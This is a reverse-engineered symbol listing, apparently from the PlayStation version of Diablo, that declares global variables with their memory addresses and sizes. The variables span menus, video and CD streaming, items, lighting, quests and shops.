static struct Perch perches[4]; // address: 0x800BF808 // size: 0x40 extern struct FMVDAT FmvTab[8]; // address: 0x8012D4B0 static int CurMons; // address: 0x8012D4B4 static int Frame; // address: 0x8012D4B8 static int Action; // address: 0x8012D4BC static int Dir; // address: 0x8012D520 extern int indsize; // address: 0x8012D500 static unsigned char *kanjbuff; // address: 0x8012D504 // size: 0x4 static struct kindexS *kindex; // address: 0x8012D508 static long hndKanjBuff; // address: 0x8012D50C static long hndKanjIndex; // address: 0x8012E7BC // size: 0x8 static struct RECT HelpRect; // address: 0x8012E7C4 static unsigned char HelpTop; // address: 0x8012F178 // size: 0x10 static struct Dialog HelpBack; // address: 0x8012D530 static bool helpflag; // address: 0x800BF848 // size: 0x108 static struct HelpStruct HelpList[33]; // address: 0x8012D580 extern int FeBackX; // address: 0x8012D584 extern int FeBackY; // address: 0x8012D588 extern int FeBackW; // address: 0x8012D58C extern int FeBackH; // address: 0x8012D590 extern unsigned char FeFlag; // address: 0x800BFE50 // size: 0x780 extern struct FeStruct FeBuffer[80]; // address: 0x8012D594 extern int FePlayerNo; // address: 0x8012E7C8 // size: 0x24 static struct FE_CREATE *CStruct; // address: 0x8012D598 extern int FeBufferCount; // address: 0x8012D59C extern int FeNoOfPlayers; // address: 0x8012D5A0 // size: 0x8 extern int FeChrClass[2]; // address: 0x800C05D0 // size: 0x16 extern char FePlayerName[11][2]; // address: 0x8012D5A8 // size: 0x1C extern struct FeTable *FeCurMenu; // address: 0x8012D5AC // size: 0x2 extern unsigned char FePlayerNameFlag[2]; // address: 0x8012D5B0 extern unsigned long FeCount; // address: 0x8012D5B4 extern int fileselect; // address: 0x8012D5B8 extern int BookMenu; // address: 0x8012D5BC extern int FeAttractMode; // address: 0x8012D5C0 extern int FMVPress; // address: 0x8012D54C // size: 0x6C extern struct TextDat *FeTData; // address: 0x8012D554 // size: 0x8 extern bool LoadedChar[2]; // address: 0x8012D550 // size: 0x6C extern struct TextDat *FlameTData; // address: 0x8012D55C extern unsigned char FeIsAVirgin; // address: 0x8012D560 extern int FeMenuDelay; // address: 0x800BF950 // size: 0x1C extern struct FeTable DummyMenu; // address: 0x800BF96C // size: 0x1C extern struct FeTable FeMainMenu; // address: 0x800BF988 // size: 0x1C extern struct FeTable FeNewGameMenu; // address: 0x800BF9A4 // size: 0x1C extern struct FeTable FeNewP1ClassMenu; // address: 0x800BF9C0 // size: 0x1C extern struct FeTable FeNewP1NameMenu; // address: 0x800BF9DC // size: 0x1C extern struct FeTable FeNewP2ClassMenu; // address: 0x800BF9F8 // size: 0x1C extern struct FeTable FeNewP2NameMenu; // address: 0x800BFA14 // size: 0x1C extern struct FeTable FeDifficultyMenu; // address: 0x800BFA30 // size: 0x1C extern struct FeTable FeBackgroundMenu; // address: 0x800BFA4C // size: 0x1C extern struct FeTable FeBook1Menu; // address: 0x800BFA68 // size: 0x1C extern struct FeTable FeBook2Menu; // address: 0x800BFA84 // size: 0x1C extern struct FeTable FeLoadCharMenu; // address: 0x800BFAA0 // size: 0x1C extern struct FeTable FeLoadChar1Menu; // address: 0x800BFABC // size: 0x1C extern struct FeTable FeLoadChar2Menu; // address: 0x8012D564 static int fadeval; // address: 0x800BFAD8 // size: 0x78 extern struct FeMenuTable FeMainMenuTable[5]; // address: 0x800BFB50 // size: 0x48 extern struct FeMenuTable FeNewGameMenuTable[3]; // address: 0x800BFB98 // size: 0x78 extern struct FeMenuTable FePlayerClassMenuTable[5]; // address: 0x800BFC10 // size: 0x46 extern unsigned char FeNameEngMenuTable[70]; // address: 0x800BFC58 // size: 0x48 extern struct FeMenuTable FeMemcardMenuTable[3]; // address: 0x800BFCA0 // size: 0x60 extern struct FeMenuTable FeDifficultyMenuTable[4]; // address: 0x800BFD00 // size: 0x60 extern struct FeMenuTable FeBackgroundMenuTable[4]; // address: 0x800BFD60 // size: 0x78 extern struct FeMenuTable FeBook1MenuTable[5]; // address: 0x800BFDD8 // size: 0x78 extern struct FeMenuTable FeBook2MenuTable[5]; // address: 0x8012D570 static bool DrawBackOn; // address: 0x8012D574 extern unsigned long AttractTitleDelay; // address: 0x8012D578 extern unsigned long AttractMainDelay; // address: 0x8012D57C extern int FMVEndPad; // address: 0x8012D5F4 extern int InCredits; // address: 0x8012D5F8 extern int CreditTitleNo; // address: 0x8012D5FC extern int CreditSubTitleNo; // address: 0x8012D610 // size: 0x8 extern int card_status[2]; // address: 0x8012D618 // size: 0x8 extern int card_usable[2]; // address: 0x8012D620 // size: 0x8 extern int card_files[2]; // address: 0x8012D628 // size: 0x8 extern int card_changed[2]; // address: 0x8012D66C extern int AlertTxt; // address: 0x8012D670 extern int current_card; // address: 0x8012D674 extern int LoadType; // address: 0x8012D678 extern int McMenuPos; // address: 0x8012D67C // size: 0x1C extern struct FeTable *McCurMenu; // address: 0x8012D668 extern bool fileinfoflag; // address: 0x8012D63C extern char *DiabloGameFile; // address: 0x8012D640 extern char *DiabloOptionFile; // address: 0x8012D660 // size: 0x8 extern char *McState_addr_8012D660[2]; // address: 0x8012D758 // size: 0x8 extern int mdec_audio_buffer[2]; // address: 0x8012D760 extern int mdec_audio_sec; // address: 0x8012D764 extern int mdec_audio_offs; // address: 0x8012D768 extern int mdec_audio_playing; // address: 0x8012D76C extern int mdec_audio_rate_shift; // address: 0x8012D770 // size: 0x8 extern char *vlcbuf[2]; // address: 0x8012D778 extern int slice_size; // address: 0x8012D77C // size: 0x8 extern struct RECT slice; // address: 0x8012D784 extern int slice_inc; // address: 0x8012D788 extern int area_pw; // address: 0x8012D78C extern int area_ph; // address: 0x8012D790 // size: 0x2 extern char tmdc_pol_dirty[2]; // address: 0x8012D794 // size: 0x8 extern int num_pol[2]; // address: 0x8012D79C extern int mdec_cx; // address: 0x8012D7A0 extern int mdec_cy; // address: 0x8012D7A4 extern int mdec_w; // address: 0x8012D7A8 extern int mdec_h; // address: 0x8012D7AC // size: 0x8 extern int mdec_pw[2]; // address: 0x8012D7B4 // size: 0x8 extern int mdec_ph[2]; // address: 0x8012D7BC extern int move_x; // address: 0x8012D7C0 extern int move_y; // address: 0x8012D7C4 extern int move_scale; // address: 0x8012D7C8 extern int stream_frames; // address: 0x8012D7CC extern int last_stream_frame; // address: 0x8012D7D0 extern int mdec_framecount; // address: 0x8012D7D4 extern int mdec_speed; // address: 0x8012D7D8 extern int mdec_stream_starting; // address: 0x8012D7DC extern int mdec_last_frame; // address: 0x8012D7E0 extern int mdec_sectors_per_frame; // address: 0x8012D7E4 extern unsigned short *vlctab; // address: 0x8012D7E8 extern unsigned char *mdc_buftop; // address: 0x8012D7EC extern unsigned char *mdc_bufstart; // address: 0x8012D7F0 extern int mdc_bufleft; // address: 0x8012D7F4 extern int mdc_buftotal; // address: 0x8012D7F8 extern int ordertab_length; // address: 0x8012D7FC extern int time_in_frames; // address: 0x8012D800 extern int stream_chunksize; // address: 0x8012D804 extern int stream_bufsize; // address: 0x8012D808 extern int stream_subsec; // address: 0x8012D80C extern int stream_secnum; // address: 0x8012D810 extern int stream_last_sector; // address: 0x8012D814 extern int stream_startsec; // address: 0x8012D818 extern int stream_opened; // address: 0x8012D81C extern int stream_last_chunk; // address: 0x8012D820 extern int stream_got_chunks; // address: 0x8012D824 extern int last_sector; // address: 0x8012D828 extern int cdstream_resetsec; // address: 0x8012D82C extern int last_handler_event; // address: 0x8012D6F4 extern bool user_start; // address: 0x8012D68C extern unsigned char *vlc_tab; // address: 0x8012D690 extern unsigned char *vlc_buf; // address: 0x8012D694 extern unsigned char *img_buf; // address: 0x8012D698 extern int vbuf; // address: 0x8012D69C extern int last_fn; // address: 0x8012D6A0 extern int last_mdc; // address: 0x8012D6A4 extern int slnum; // address: 0x8012D6A8 extern int slices_to_do; // address: 0x8012D6AC extern int mbuf; // address: 0x8012D6B0 extern int mfn; // address: 0x8012D6B4 extern int last_move_mbuf; // address: 0x8012D6B8 extern int move_request; // address: 0x8012D6BC extern int mdec_scale; // address: 0x8012D6C0 extern int do_brightness; // address: 0x8012D6C4 extern int frame_decoded; // address: 0x8012D6C8 extern int mdec_streaming; // address: 0x8012D6CC extern int mdec_stream_size; // address: 0x8012D6D0 extern int first_stream_frame; // address: 0x8012D6D4 extern int stream_frames_played; // address: 0x8012D6D8 extern int num_mdcs; // address: 0x8012D6DC extern int mdec_head; // address: 0x8012D6E0 extern int mdec_tail; // address: 0x8012D6E4 extern int mdec_waiting_tail; // address: 0x8012D6E8 extern int mdecs_queued; // address: 0x8012D6EC extern int mdecs_waiting; // address: 0x8012D6F0 extern int sfx_volume; // address: 0x8012D6F8 static unsigned char DiabEnd; // address: 0x8012D6FC extern int stream_chunks_in; // address: 0x8012D700 extern int stream_chunks_total; // address: 0x8012D704 extern int stream_in; // address: 0x8012D708 extern int stream_out; // address: 0x8012D70C extern int stream_stalled; // address: 0x8012D710 extern int stream_ending; // address: 0x8012D714 extern int stream_open; // address: 0x8012D718 extern int stream_handler_installed; // address: 0x8012D71C extern int stream_chunks_borrowed; // address: 0x8012D720 extern int _get_count; // address: 0x8012D724 extern int _discard_count; // address: 0x8012D728 // size: 0x5C extern struct TASK *CDTask; // address: 0x8012D72C // size: 0x98 static struct cdstreamstruct *CDStream; // address: 0x8012D730 extern int cdready_calls; // address: 0x8012D734 extern int cdready_errors; // address: 0x8012D738 extern int cdready_out_of_sync; // address: 0x8012D73C extern int cdstream_resetting; // address: 0x8012D740 extern int sector_dma; // address: 0x8012D744 extern int sector_dma_in; // address: 0x8012D748 extern unsigned long *chkaddr; // address: 0x8012D74C // size: 0x8 extern struct chunkhdrstruct *chunk; // address: 0x8012D750 extern int first_handler_event; // address: 0x8012D754 static bool DOSLEEP; // address: 0x8012D8AC extern unsigned char *pStatusPanel; // address: 0x8012D8B0 extern unsigned char *pGBoxBuff; // address: 0x8012D8B4 extern unsigned char dropGoldFlag; // address: 0x8012D8B8 // size: 0x2 extern unsigned char _pinfoflag[2]; // address: 0x800C0AE8 // size: 0x200 extern char _infostr[256][2]; // address: 0x8012D8BC // size: 0x2 extern char _infoclr[2]; // address: 0x800C0CE8 // size: 0x100 extern char tempstr[256]; // address: 0x8012D8BE extern unsigned char drawhpflag; // address: 0x8012D8BF extern unsigned char drawmanaflag; // address: 0x8012D8C0 extern unsigned char chrflag; // address: 0x8012D8C1 extern unsigned char drawbtnflag; // address: 0x8012D8C2 extern unsigned char panbtndown; // address: 0x8012D8C3 extern unsigned char panelflag; // address: 0x8012D8C4 extern unsigned char chrbtndown; // address: 0x8012D8C5 extern unsigned char lvlbtndown; // address: 0x8012D8C6 extern unsigned char sbookflag; // address: 0x8012D8C7 extern unsigned char talkflag; // address: 0x8012D8C8 extern int dropGoldValue; // address: 0x8012D8CC extern int initialDropGoldValue; // address: 0x8012D8D0 extern int initialDropGoldIndex; // address: 0x8012D8D4 extern unsigned char *pPanelButtons; // address: 0x8012D8D8 extern unsigned char *pPanelText; // address: 0x8012D8DC extern unsigned char *pManaBuff; // address: 0x8012D8E0 extern unsigned char *pLifeBuff; // address: 0x8012D8E4 extern unsigned char *pChrPanel; // address: 0x8012D8E8 extern unsigned char *pChrButtons; // address: 0x8012D8EC extern unsigned char *pSpellCels; // address: 0x8012F1C8 // size: 0x400 static char _panelstr[64][8][2]; // address: 0x8012F5C8 // size: 0x40 static int _pstrjust[8][2]; // address: 0x8012E7D8 // size: 0x8 static int _pnumlines[2]; // address: 0x8012D8F0 // size: 0x8 extern struct RECT *InfoBoxRect; // address: 0x8012D8F4 // size: 0x8 extern struct RECT CSRect; // address: 0x8012E7E8 // size: 0x8 static int _pSpell[2]; // address: 0x8012E7F0 // size: 0x8 static int _pSplType[2]; // address: 0x8012D8FC extern int numpanbtns; // address: 0x8012D900 extern unsigned char *pDurIcons; // address: 0x8012D904 extern unsigned char drawdurflag; // address: 0x8012E7F8 // size: 0x8 static unsigned char chrbtn[4][2]; // address: 0x8012D905 extern unsigned char chrbtnactive; // address: 0x8012D908 extern unsigned char *pSpellBkCel; // address: 0x8012D90C extern unsigned char *pSBkBtnCel; // address: 0x8012D910 extern unsigned char *pSBkIconCels; // address: 0x8012D914 extern int sbooktab; // address: 0x8012D918 extern int cur_spel; // address: 0x8012E800 static long talkofs; // address: 0x8012F618 // size: 0x50 static char sgszTalkMsg[80]; // address: 0x8012E804 static unsigned char sgbTalkSavePos; // address: 0x8012E805 static unsigned char sgbNextTalkSave; // address: 0x8012E806 // size: 0x2 static unsigned char sgbPlrTalkTbl[2]; // address: 0x8012E808 static unsigned char *pTalkPanel; // address: 0x8012E80C static unsigned char *pMultiBtns; // address: 0x8012E810 static unsigned char *pTalkBtns; // address: 0x8012E814 // size: 0x3 static unsigned char talkbtndown[3]; // address: 0x800C05FC // size: 0x25 extern char SpellITbl[37]; // address: 0x8012D839 extern unsigned char DrawLevelUpFlag; // address: 0x8012D860 // size: 0x8 extern struct TASK *_spselflag[2]; // address: 0x8012D85C extern unsigned char spspelstate; // address: 0x8012D87C extern bool initchr; // address: 0x8012D83C static int SPLICONNO; // address: 0x8012D840 static int SPLICONY; // address: 0x8012E7E0 static int SPLICONRIGHT; // address: 0x8012D844 static int scx; // address: 0x8012D848 static int scy; // address: 0x8012D84C static int scx1; // address: 0x8012D850 static int scy1; // address: 0x8012D854 static int scx2; // address: 0x8012D858 static int scy2; // address: 0x8012D868 extern char SpellCol; // address: 0x800C05E8 // size: 0x12 extern unsigned char SpellColors[18]; // address: 0x800C0624 // size: 0x64 extern int SpellPages[5][5]; // address: 0x8012D86C static int lus; // address: 0x8012D870 static int CsNo; // address: 0x8012D874 static char plusanim; // address: 0x8012F608 // size: 0x10 static struct Dialog CSBack; // address: 0x8012D878 static int CS_XOFF; // address: 0x800C0688 // size: 0x460 extern struct CSDATA CS_Tab[28]; // address: 0x8012D880 extern int NoCSEntries; // address: 0x8012D884 static int SPALOFF; // address: 0x8012D888 static int paloffset1; // address: 0x8012D88C static int paloffset2; // address: 0x8012D890 static int paloffset3; // address: 0x8012D894 static int paloffset4; // address: 0x8012D898 static int pinc1; // address: 0x8012D89C static int pinc2; // address: 0x8012D8A0 static int pinc3; // address: 0x8012D8A4 static int pinc4; // address: 0x8012D92C // size: 0x8 extern int _pcurs[2]; // address: 0x8012D934 extern int cursW; // address: 0x8012D938 extern int cursH; // address: 0x8012D93C extern int icursW; // address: 0x8012D940 extern int icursH; // address: 0x8012D944 extern int icursW28; // address: 0x8012D948 extern int icursH28; // address: 0x8012D94C extern int cursmx; // address: 0x8012D950 extern int cursmy; // address: 0x8012D954 // size: 0x8 extern int _pcursmonst[2]; // address: 0x8012D95C // size: 0x2 extern char _pcursobj[2]; // address: 0x8012D960 // size: 0x2 extern char _pcursitem[2]; // address: 0x8012D964 // size: 0x2 extern char _pcursinvitem[2]; // address: 0x8012D968 // size: 0x2 extern char _pcursplr[2]; // address: 0x8012D928 extern int sel_data; // address: 0x800C0DE8 // size: 0x174 extern struct DeadStruct dead[31]; // address: 0x8012D96C extern int spurtndx; // address: 0x8012D970 extern int stonendx; // address: 0x8012D974 extern unsigned char *pSquareCel; // address: 0x8012D9B4 extern unsigned long ghInst; // address: 0x8012D9B8 extern unsigned char svgamode; // address: 0x8012D9BC extern int MouseX; // address: 0x8012D9C0 extern int MouseY; // address: 0x8012D9C4 extern long gv1; // address: 0x8012D9C8 extern long gv2; // address: 0x8012D9CC extern long gv3; // address: 0x8012D9D0 extern long gv4; // address: 0x8012D9D4 extern long gv5; // address: 0x8012D9D8 extern unsigned char gbProcessPlayers; // address: 0x800C0F5C // size: 0x28 extern int DebugMonsters[10]; // address: 0x800C0F84 // size: 0x44 extern unsigned long glSeedTbl[17]; // address: 0x800C0FC8 // size: 0x44 extern int gnLevelTypeTbl[17]; // address: 0x8012D9D9 extern unsigned char gbDoEnding; // address: 0x8012D9DA extern unsigned char gbRunGame; // address: 0x8012D9DB extern unsigned char gbRunGameResult; // address: 0x8012D9DC extern unsigned char gbGameLoopStartup; // address: 0x8012F668 // size: 0x44 static int glEndSeed[17]; // address: 0x8012F6B8 // size: 0x44 static int glMid1Seed[17]; // address: 0x8012F708 // size: 0x44 static int glMid2Seed[17]; // address: 0x8012F758 // size: 0x44 static int glMid3Seed[17]; // address: 0x8012E818 static long *sg_previousFilter; // address: 0x800C100C // size: 0x30 extern int CreateEnv[12]; // address: 0x8012D9E0 extern int Passedlvldir; // address: 0x8012D9E4 extern unsigned char *TempStack; // address: 0x8012D984 extern unsigned long ghMainWnd; // address: 0x8012D988 extern unsigned char fullscreen; // address: 0x8012D98C extern int force_redraw; // address: 0x8012D9A0 extern unsigned char PauseMode; // address: 0x8012D9A1 extern unsigned char FriendlyMode; // address: 0x8012D991 extern unsigned char visiondebug; // address: 0x8012D993 extern unsigned char light4flag; // address: 0x8012D994 extern unsigned char leveldebug; // address: 0x8012D995 extern unsigned char monstdebug; // address: 0x8012D99C extern int debugmonsttypes; // address: 0x8012D990 static unsigned char cineflag; // address: 0x8012D992 extern unsigned char scrollflag; // address: 0x8012D996 extern unsigned char trigdebug; // address: 0x8012D998 extern int setseed; // address: 0x8012D9A4 static int sgnTimeoutCurs; // address: 0x8012D9A8 extern unsigned char sgbMouseDown; // address: 0x800C16D8 // size: 0xE00 extern struct TownerStruct towner[16]; // address: 0x8012D9FC extern int numtowners; // address: 0x8012DA00 extern unsigned char storeflag; // address: 0x8012DA01 extern unsigned char boyloadflag; // address: 0x8012DA02 extern unsigned char bannerflag; // address: 0x8012DA04 extern unsigned char *pCowCels; // address: 0x8012E81C static unsigned long sgdwCowClicks; // address: 0x8012E820 static int sgnCowMsg; // address: 0x800C1418 // size: 0x2C0 extern int Qtalklist[16][11]; // address: 0x8012D9F4 extern unsigned long CowPlaying; // address: 0x800C103C // size: 0x378 extern char AnimOrder[148][6]; // address: 0x800C13B4 // size: 0xC extern int TownCowX[3]; // address: 0x800C13C0 // size: 0xC extern int TownCowY[3]; // address: 0x800C13CC // size: 0xC extern int TownCowDir[3]; // address: 0x800C13D8 // size: 0x20 extern int cowoffx[8]; // address: 0x800C13F8 // size: 0x20 extern int cowoffy[8]; // address: 0x8012DA1C extern int sfxdelay; // address: 0x8012DA20 extern int sfxdnum; // address: 0x8012DA14 // size: 0x80 extern struct SFXHDR *sghStream; // address: 0x800C24D8 // size: 0xF78 extern struct TSFX sgSFX[990]; // address: 0x8012DA18 // size: 0x4 extern struct TSFX *sgpStreamSFX; // address: 0x8012DA24 extern long orgseed; // address: 0x8012E824 static long sglGameSeed; // address: 0x8012DA28 extern int SeedCount; // address: 0x8012E828 // size: 0x4 static struct CCritSect sgMemCrit; // address: 0x8012E82C static int sgnWidth; // address: 0x8012DA36 extern char msgflag; // address: 0x8012DA37 extern char msgdelay; // address: 0x800C3500 // size: 0x50 extern char msgtable[80]; // address: 0x800C3450 // size: 0xB0 extern int MsgStrings[44]; // address: 0x8012DA35 extern char msgcnt; // address: 0x8012E830 static unsigned long sgdwProgress; // address: 0x8012E834 static unsigned long sgdwXY; // address: 0x800C3550 // size: 0x9D extern unsigned char AllItemsUseable[157]; // address: 0x80123788 // size: 0x13A0 extern struct ItemDataStruct AllItemsList[157]; // address: 0x80124B28 // size: 0xD20 extern struct PLStruct PL_Prefix[84]; // address: 0x80125848 // size: 0xF00 extern struct PLStruct PL_Suffix[96]; // address: 0x80126748 // size: 0x1DDC extern struct UItemStruct UniqueItemList[91]; // address: 0x800C3764 // size: 0x4C00 extern struct ItemStruct item[128]; // address: 0x800C8364 // size: 0x7F extern char itemactive[127]; // address: 0x800C83E4 // size: 0x7F extern char itemavail[127]; // address: 0x800C8464 // size: 0x80 extern unsigned char UniqueItemFlag[128]; // address: 0x8012DA70 extern unsigned char uitemflag; // address: 0x8012E838 static int tem; // address: 0x8012F7A0 // size: 0x98 static struct ItemStruct curruitem; // address: 0x8012F840 // size: 0x9 static unsigned char itemhold[3][3]; // address: 0x8012DA74 extern int ScrollType; // address: 0x800C84E4 // size: 0x40 extern char ItemStr[64]; // address: 0x800C8524 // size: 0x40 extern char SufStr[64]; // address: 0x8012DA50 extern long numitems; // address: 0x8012DA54 extern int gnNumGetRecords; // address: 0x800C36C0 // size: 0x8C extern int ItemInvSnds[35]; // address: 0x800C35F0 // size: 0xA9 extern unsigned char ItemCAnimTbl[169]; // address: 0x80128570 // size: 0x40 extern short SinTab[32]; // address: 0x801285B0 // size: 0x46 static short Item2Frm[35]; // address: 0x800C369C // size: 0x23 extern unsigned char ItemAnimLs[35]; // address: 0x8012DA58 extern int *ItemAnimSnds; // address: 0x8012DA5C extern int idoppely; // address: 0x8012DA60 extern int ScrollFlag; // address: 0x800C374C // size: 0x18 extern int premiumlvladd[6]; // address: 0x800C9310 // size: 0x140 extern struct LightListStruct2 LightList[40]; // address: 0x800C9450 // size: 0x28 extern unsigned char lightactive[40]; // address: 0x8012DA88 extern int numlights; // address: 0x8012DA8C extern char lightmax; // address: 0x800C9478 // size: 0x1C0 extern struct LightListStruct VisionList[32]; // address: 0x8012DA90 extern int numvision; // address: 0x8012DA94 extern unsigned char dovision; // address: 0x8012DA98 extern int visionid; // address: 0x8012E83C static int disp_mask; // address: 0x8012E840 static int weird; // address: 0x8012E844 static int disp_tab_r; // address: 0x8012E848 static int dispy_r; // address: 0x8012E84C static int disp_tab_g; // address: 0x8012E850 static int dispy_g; // address: 0x8012E854 static int disp_tab_b; // address: 0x8012E858 static int dispy_b; // address: 0x8012E85C static int radius; // address: 0x8012E860 static int bright; // address: 0x8012F850 // size: 0x80 static unsigned char mult_tab[128]; // address: 0x8012DA78 extern int lightflag; // address: 0x800C9024 // size: 0x2B2 extern unsigned char vCrawlTable[30][23]; // address: 0x800C92D8 // size: 0x17 extern unsigned char RadiusAdj[23]; // address: 0x800C8564 // size: 0xABD extern char CrawlTable[2749]; // address: 0x8012DA7C extern int restore_r; // address: 0x8012DA80 extern int restore_g; // address: 0x8012DA84 extern int restore_b; // address: 0x800C92F0 // size: 0x10 static char radius_tab[16]; // address: 0x800C9300 // size: 0x10 static char bright_tab[16]; // address: 0x8012DAB9 extern unsigned char qtextflag; // address: 0x8012DABC extern int qtextSpd; // address: 0x8012E864 static unsigned char *pMedTextCels; // address: 0x8012E868 static unsigned char *pTextBoxCels; // address: 0x8012E86C static char *qtextptr; // address: 0x8012E870 static int qtexty; // address: 0x8012E874 static unsigned long qtextDelay; // address: 0x8012E878 static unsigned long sgLastScroll; // address: 0x8012E87C static unsigned long scrolltexty; // address: 0x8012E880 static long sglMusicVolumeSave; // address: 0x8012DAA8 static bool qtbodge; // address: 0x800C9638 // size: 0x10 extern struct Dialog QBack; // address: 0x800C9648 // size: 0x660 extern struct MissileData missiledata[68]; // address: 0x800C9DB8 // size: 0xEB extern struct MisFileData misfiledata[47]; // address: 0x800C9CA8 // size: 0x110 extern void (*MissPrintRoutines[68])(); // address: 0x800C9EA4 // size: 0x13D4C extern struct DLevel sgLevels[21]; // address: 0x800DDBF0 // size: 0x1068 extern struct LocalLevel sgLocals[21]; // address: 0x8012F8D0 // size: 0x16 static struct DJunk sgJunk; // address: 0x8012E885 static unsigned char sgbRecvCmd; // address: 0x8012E888 static unsigned long sgdwRecvOffset; // address: 0x8012E88C static unsigned char sgbDeltaChunks; // address: 0x8012E88D static unsigned char sgbDeltaChanged; // address: 0x8012E890 static unsigned long sgdwOwnerWait; // address: 0x8012E894 // size: 0x7D08 static struct TMegaPkt *sgpMegaPkt; // address: 0x8012E898 // size: 0x7D08 static struct TMegaPkt *sgpCurrPkt; // address: 0x8012E89C static int sgnCurrMegaPlayer; // address: 0x8012DAD5 extern unsigned char deltaload; // address: 0x8012DAD6 extern unsigned char gbBufferMsgs; // address: 0x8012DAD8 extern unsigned long dwRecCount; // address: 0x8012DADC extern bool LevelOut; // address: 0x8012DAF2 extern unsigned char gbMaxPlayers; // address: 0x8012DAF3 extern unsigned char gbActivePlayers; // address: 0x8012DAF4 extern unsigned char gbGameDestroyed; // address: 0x8012DAF5 extern unsigned char gbDeltaSender; // address: 0x8012DAF6 extern unsigned char gbSelectProvider; // address: 0x8012DAF7 extern unsigned char gbSomebodyWonGameKludge; // address: 0x8012E8A0 static unsigned char sgbSentThisCycle; // address: 0x8012E8A4 static unsigned long sgdwGameLoops; // address: 0x8012E8A8 // size: 0x4 static unsigned short sgwPackPlrOffsetTbl[2]; // address: 0x8012E8AC // size: 0x2 static unsigned char sgbPlayerLeftGameTbl[2]; // address: 0x8012E8B0 // size: 0x8 static unsigned long sgdwPlayerLeftReasonTbl[2]; // address: 0x8012E8B8 // size: 0x2 static unsigned char sgbSendDeltaTbl[2]; // address: 0x8012E8C0 // size: 0x8 static struct _gamedata sgGameInitInfo; // address: 0x8012E8C8 static unsigned char sgbTimeout; // address: 0x8012E8CC static long sglTimeoutStart; // address: 0x8012DAEC // size: 0x5 extern char gszVersionNumber[5]; // address: 0x8012DAF1 static unsigned char sgbNetInited; // address: 0x800DEC58 // size: 0x1C4 extern int ObjTypeConv[113]; // address: 0x800DEE1C // size: 0x6F6 extern struct ObjDataStruct AllObjects[99]; // address: 0x80128CD8 // size: 0xE0 extern struct OBJ_LOAD_INFO ObjMasterLoadList[56]; // address: 0x800DF5FC // size: 0x15D4 extern struct ObjectStruct object[127]; // address: 0x8012DB18 extern long numobjects; // address: 0x800E0BD0 // size: 0x7F extern char objectactive[127]; // address: 0x800E0C50 // size: 0x7F extern char objectavail[127]; // address: 0x8012DB1C extern unsigned char InitObjFlag; // address: 0x8012DB20 extern int trapid; // address: 0x800E0CD0 // size: 0x28 extern char ObjFileList[40]; // address: 0x8012DB24 extern int trapdir; // address: 0x8012DB28 extern int leverid; // address: 0x8012DB10 extern int numobjfiles; // address: 0x800DF514 // size: 0x20 extern int bxadd[8]; // address: 0x800DF534 // size: 0x20 extern int byadd[8]; // address: 0x800DF5BC // size: 0x1A extern char shrineavail[26]; // address: 0x800DF554 // size: 0x68 extern int shrinestrs[26]; // address: 0x800DF5D8 // size: 0x24 extern int StoryBookName[9]; // address: 0x8012DB14 extern int myscale; // address: 0x8012DB3C extern unsigned char gbValidSaveFile; // address: 0x8012DB38 extern bool DoLoadedChar; // address: 0x800E0EF0 // size: 0x4750 extern struct PlayerStruct plr[2]; // address: 0x8012DB5C extern int myplr; // address: 0x8012DB60 extern int deathdelay; // address: 0x8012DB64 extern unsigned char deathflag; // address: 0x8012DB65 extern char light_rad; // address: 0x8012DB54 // size: 0x5 extern char light_level[5]; // address: 0x800E0DE8 // size: 0x30 extern int MaxStats[4][3]; // address: 0x8012DB4C static int PlrStructSize; // address: 0x8012DB50 static int ItemStructSize; // address: 0x800E0CF8 // size: 0x24 extern int plrxoff[9]; // address: 0x800E0D1C // size: 0x24 extern int plryoff[9]; // address: 0x800E0D40 // size: 0x24 extern int plrxoff2[9]; // address: 0x800E0D64 // size: 0x24 extern int plryoff2[9]; // address: 0x800E0D88 // size: 0x21 extern char PlrGFXAnimLens[11][3]; // address: 0x800E0DAC // size: 0xC extern int StrengthTbl[3]; // address: 0x800E0DB8 // size: 0xC extern int MagicTbl[3]; // address: 0x800E0DC4 // size: 0xC extern int DexterityTbl[3]; // address: 0x800E0DD0 // size: 0xC extern int VitalityTbl[3]; // address: 0x800E0DDC // size: 0xC extern int ToBlkTbl[3]; // address: 0x800E0E18 // size: 0xCC extern long ExpLvlsTbl[51]; // address: 0x800E5778 // size: 0x140 extern struct QuestStruct quests[16]; // address: 0x8012DB94 extern unsigned char *pQLogCel; // address: 0x8012DB98 extern int ReturnLvlX; // address: 0x8012DB9C extern int ReturnLvlY; // address: 0x8012DBA0 extern int ReturnLvl; // address: 0x8012DBA4 extern int ReturnLvlT; // address: 0x8012DBA8 extern unsigned char rporttest; // address: 0x8012DBAC extern int qline; // address: 0x8012DBB0 extern int numqlines; // address: 0x8012DBB4 extern int qtopline; // address: 0x8012F8E8 // size: 0x40 static int qlist[16]; // address: 0x8012E8D0 // size: 0x8 static struct RECT QSRect; // address: 0x8012DB71 extern unsigned char questlog; // address: 0x800E5640 // size: 0x100 extern struct QuestData questlist[16]; // address: 0x8012DB74 extern int ALLQUESTS; // address: 0x800E5754 // size: 0xC extern int QuestGroup1[3]; // address: 0x800E5760 // size: 0xC extern int QuestGroup2[3]; // address: 0x800E576C // size: 0xC extern int QuestGroup3[3]; // address: 0x8012DB78 // size: 0x8 extern int QuestGroup4[2]; // address: 0x8012DB90 extern bool WaterDone; // address: 0x800E5740 // size: 0x14 extern int questtrigstr[5]; // address: 0x8012DB80 static int QS_PX; // address: 0x8012DB84 static int QS_PY; // address: 0x8012DB88 static int QS_PW; // address: 0x8012DB8C static int QS_PH; // address: 0x8012F928 // size: 0x10 static struct Dialog QSBack; // address: 0x800E58B8 // size: 0x784 extern struct SpellData spelldata[37]; // address: 0x8012DBEF extern char stextflag; // address: 0x800E6160 // size: 0xBE0 extern struct ItemStruct smithitem[20]; // address: 0x800E6D40 // size: 0x390 extern struct ItemStruct premiumitem[6]; // address: 0x8012DBF0 extern int numpremium; // address: 0x8012DBF4 extern int premiumlevel; // address: 0x800E70D0 // size: 0xBE0 extern struct ItemStruct witchitem[20]; // address: 0x800E7CB0 // size: 0x98 extern struct ItemStruct boyitem; // address: 0x8012DBF8 extern int boylevel; // address: 0x800E7D48 // size: 0x98 extern struct ItemStruct golditem; // address: 0x800E7DE0 // size: 0xBE0 extern struct ItemStruct healitem[20]; // address: 0x8012DBFC extern char stextsize; // address: 0x8012DBFD extern unsigned char stextscrl; // address: 0x8012E8D8 static int stextsel; // address: 0x8012E8DC static int stextlhold; // address: 0x8012E8E0 static int stextshold; // address: 0x8012E8E4 static int stextvhold; // address: 0x8012E8E8 static int stextsval; // address: 0x8012E8EC static int stextsmax; // address: 0x8012E8F0 static int stextup; // address: 0x8012E8F4 